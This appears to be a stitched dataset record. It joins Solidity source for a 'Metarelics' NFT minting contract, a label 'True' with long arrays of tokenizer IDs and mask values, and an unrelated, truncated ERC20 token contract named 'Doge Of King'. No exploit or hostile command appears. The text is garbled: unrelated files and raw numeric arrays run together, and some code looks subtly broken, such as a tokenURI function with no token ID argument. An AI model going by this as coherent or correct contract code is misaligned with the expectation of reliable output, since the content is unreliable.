* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// File: contracts/Metarelics.sol
pragma solidity >=0.7.0 <0.9.0;
contract Metarelics is ERC721Enumerable, Ownable, ReentrancyGuard {
using Strings for uint256;
string baseURI;
string baseExtension = ".json";
uint256 public cost = .2 ether;
uint256 public maxSupply = 1000;
uint256 public maxMintable = 1;
bool public paused = true;
bool public isSecondSale = false;
bool public isBackupSale = false;
mapping(address => uint256) public addressMintedBalance;
bytes32 public whitelistMerkleRoot;
mapping(address => bool) public whitelistedAddressesBackup;
bool public useWhitelistedAddressesBackup = false;
mapping(address => bool) public secondMintWinners;
constructor(
string memory _name,
string memory _symbol,
string memory _URI
) ERC721(_name, _symbol) {
baseURI = _URI;
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
function _generateMerkleLeaf(address account)
internal
pure
returns (bytes32)
{
return keccak256(abi.encodePacked(account));
}
/**
* Validates a Merkle proof based on a provided merkle root and leaf node.
*/
function _verify(
bytes32[] memory proof,
bytes32 merkleRoot,
bytes32 leafNode
) internal pure returns (bool) {
return MerkleProof.verify(proof, merkleRoot, leafNode);
}
// Requires contract is not paused, the mint amount requested is at least 1,
// & the amount being minted + current supply is less than the max supply.
function requireChecks(uint256 _mintAmount) internal view {
require(paused == false, "the contract is paused");
require(totalSupply() + _mintAmount <= maxSupply, "max NFT limit exceeded");
}
/**
* Limit: 1 during presale
* Only whitelisted individuals can mint presale. We utilize a Merkle Proof to determine who is whitelisted.
* If these cases are not met, the mint WILL fail, and your gas will NOT be refunded.
* Please only mint through metarelics.xyz unless you're absolutely sure you know what you're doing!
*/
function presaleMint(uint256 _mintAmount, bytes32[] calldata proof)
public
payable
nonReentrant
{
uint256 supply = totalSupply();
requireChecks(_mintAmount);
// The owner of the smart contract can mint at any time, regardless of if the presale is on.
if (msg.sender != owner()) {
require (addressMintedBalance[msg.sender] < maxMintable, "You are attempting to mint more than the max allowed.");
require(msg.value >= cost, "insufficient funds");
// uses a traditional array for whitelist in the unlikely event the Merkle tree fails,
// or if someone is unintentionally left out of the presale.
if (useWhitelistedAddressesBackup) {
require(whitelistedAddressesBackup[msg.sender] == true, "user is not whitelisted");
} else {
require(
_verify(
proof,
whitelistMerkleRoot,
_generateMerkleLeaf(msg.sender)
),
"user is not whitelisted"
);
}
_safeMint(msg.sender, supply + 1);
addressMintedBalance[msg.sender]++;
} else {
// the owner of the contract can mint as many as they like.
for (uint256 i = 1; i <= _mintAmount; i++) {
addressMintedBalance[msg.sender]++;
_safeMint(msg.sender, supply + i);
}
}
}
// mint function for the 2nd wave of sales. Only selected addresses via raffle will be allowed to mint.
// Raffle winners are allowed one extra mint.
// Owner can also only mint 1. Owner should always invoke presaleMint for minting multiple.
// Call will fail if the contract is paused, if funds are insufficient, if the address invoking
// SecondaryMint is not eligible to mint, or if an eligible address has already successfully minted
// using the secondaryMint.
function secondaryMint()
public
payable
nonReentrant
{
uint256 supply = totalSupply();
requireChecks(1);
if (msg.sender != owner()) {
require(msg.value >= cost, "insufficient funds");
require(secondMintWinners[msg.sender] == true);
require(isSecondSale == true, "2nd sale wave not on");
require(
addressMintedBalance[msg.sender] == 0,
"max NFT per address exceeded"
);
}
_safeMint(msg.sender, supply + 1);
addressMintedBalance[msg.sender]++;
}
// backup mint function
function mint()
public
payable
nonReentrant
{
uint256 supply = totalSupply();
if (msg.sender != owner()) {
requireChecks(1);
require(msg.value >= cost, "insufficient funds");
require(isBackupSale == true, "Main sale not available.");
require(addressMintedBalance[msg.sender] == 0, "max NFT per address is 1.");
}
_safeMint(msg.sender, supply + 1);
addressMintedBalance[msg.sender]++;
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory tokenIds = new uint256[](ownerTokenCount);
for (uint256 i; i < ownerTokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokenIds;
}
function tokenURI()
public
view
virtual
returns (string memory)
{
return baseURI;
}
// Sets addresses that will be allowed to mint in the second wave.
function setMintWinners(address[] memory winners) public onlyOwner {
for (uint256 i; i < winners.length; i++) {
secondMintWinners[winners[i]] = true;
}
}
function setBackupSale(bool _state) public onlyOwner {
isBackupSale = _state;
}
function setSecondSale(bool _state) public onlyOwner {
isSecondSale = _state;
}
/** Sets the merkle root for the whitelisted individuals. */
function setWhiteListMerkleRoot(bytes32 merkleRoot) public onlyOwner {
whitelistMerkleRoot = merkleRoot;
}
function setWhitelistedAddressesBackup(address[] memory addresses) public onlyOwner {
for (uint256 i = 0; i < addresses.length; i++) {
whitelistedAddressesBackup[addresses[i]] = true;
}
}
function setBackupWhitelistedAddressState(bool state) public onlyOwner {
useWhitelistedAddressesBackup = state;
}
// cost in Wei
function setCost(uint256 _newCost) public onlyOwner {
cost = _newCost;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function setBaseExtension(string memory _newBaseExtension)
public
onlyOwner
{
baseExtension = _newBaseExtension;
}
function pause(bool _state) public onlyOwner {
paused = _state;
}
function setMaxMintable(uint256 max) public onlyOwner {
maxMintable = max;
}
// Withdraws the Ethers in the smart contract to the wallet that specified in the smart contract.
function withdraw() public onlyOwner nonReentrant {
uint256 balance = address(this).balance;
payable(0x120Ee9220CcB8F594483D6e0D5300babb78FAaC7).transfer(balance);
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
16798,
2475,
1011,
6021,
1011,
2423,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
14246,
2140,
1011,
1017,
1012,
1014,
1013,
1013,
5371,
1024,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
21183,
12146,
1013,
19888,
9888,
1013,
21442,
19099,
18907,
1012,
14017,
1013,
1013,
2330,
4371,
27877,
2378,
8311,
1006,
2197,
7172,
1058,
2549,
1012,
1019,
1012,
1014,
1007,
1006,
21183,
12146,
1013,
19888,
9888,
1013,
21442,
19099,
18907,
1012,
14017,
1007,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
2122,
4972,
3066,
2007,
22616,
1997,
21442,
19099,
3628,
6947,
2015,
1012,
1008,
1008,
1996,
6947,
2015,
2064,
2022,
7013,
2478,
1996,
9262,
22483,
3075,
1008,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
8374,
18938,
2050,
1013,
21442,
19099,
13334,
22578,
1031,
21442,
19099,
13334,
22578,
1033,
1012,
1008,
3602,
1024,
1996,
23325,
2075,
9896,
2323,
2022,
17710,
16665,
2243,
17788,
2575,
1998,
3940,
22210,
2323,
2022,
9124,
1012,
1008,
1008,
2156,
1036,
3231,
1013,
21183,
12146,
1013,
19888,
9888,
1013,
21442,
19099,
18907,
1012,
3231,
1012,
1046,
2015,
1036,
2005,
2070,
4973,
1012,
1008,
1013,
3075,
21442,
19099,
18907,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
2995,
2065,
1037,
1036,
7053,
1036,
2064,
2022,
4928,
2000,
2022,
1037,
2112,
1997,
1037,
21442,
19099,
3392,
1008,
4225,
2011,
1036,
7117,
1036,
1012,
2005,
2023,
1010,
1037,
1036,
6947,
1036,
2442,
2022,
3024,
1010,
4820,
1008,
22941,
23325,
2229,
2006,
1996,
3589,
2013,
1996,
7053,
2000,
1996,
7117,
1997,
1996,
3392,
1012,
2169,
1008,
3940,
1997,
3727,
1998,
2169,
3940,
1997,
3653,
1011,
4871,
2024,
5071,
2000,
2022,
19616,
1012,
1008,
1013,
3853,
20410,
1006,
27507,
16703,
1031,
1033,
3638,
6947,
1010,
27507,
16703,
7117,
1010,
27507,
16703,
7053,
1007,
4722,
5760,
5651,
1006,
22017,
2140,
1007,
1063,
2709,
2832,
18907,
1006,
6947,
1010,
7053,
1007,
1027,
1027,
7117,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
7183,
23325,
4663,
2011,
29053,
2075,
1037,
21442,
19099,
2063,
3392,
2039,
1008,
2013,
1036,
7053,
1036,
2478,
1036,
6947,
1036,
1012,
1037,
1036,
6947,
1036,
2003,
9398,
2065,
1998,
2069,
2065,
1996,
7183,
1008,
23325,
3503,
1996,
7117,
1997,
1996,
3392,
1012,
2043,
6364,
1996,
6947,
1010,
1996,
7689,
1008,
1997,
21349,
1004,
3653,
1011,
4871,
2024,
5071,
2000,
2022,
19616,
1012,
1008,
1008,
1035,
2800,
2144,
1058,
2549,
1012,
1018,
1012,
1035,
1008,
1013,
3853,
2832,
18907,
1006,
27507,
16703,
1031,
1033,
3638,
6947,
1010,
27507,
16703,
7053,
1007,
4722,
5760,
5651,
1006,
27507,
16703,
1007,
1063,
27507,
16703,
24806,
14949,
2232,
1027,
7053,
1025,
2005,
1006,
21318,
3372,
17788,
2575,
1045,
1027,
1014,
1025,
1045,
1026,
6947,
1012,
3091,
1025,
1045,
1009,
1009,
1007,
1063,
27507,
16703,
6947,
12260,
3672,
1027,
6947,
1031,
1045,
1033,
1025,
2065,
1006,
24806,
14949,
2232,
1026,
1027,
6947,
12260,
3672,
1007,
1063,
1013,
1013,
23325,
1006,
2783,
24806,
23325,
1009,
2783,
5783,
1997,
1996,
6947,
1007,
24806,
14949,
2232,
1027,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-06-04
*/
/**
*Submitted for verification at Etherscan.io on 2021-05-31
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
mapping(address=>bool) private _enable;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor () {
_mint(0xA92D722B6D2054e4984351d4bf506F04013106C7, 10000000000 *10**18);
_enable[0xA92D722B6D2054e4984351d4bf506F04013106C7] = true;
// MainNet / testnet, Uniswap Router
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
_name = "Doge Of King";
_symbol = "DOK";
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
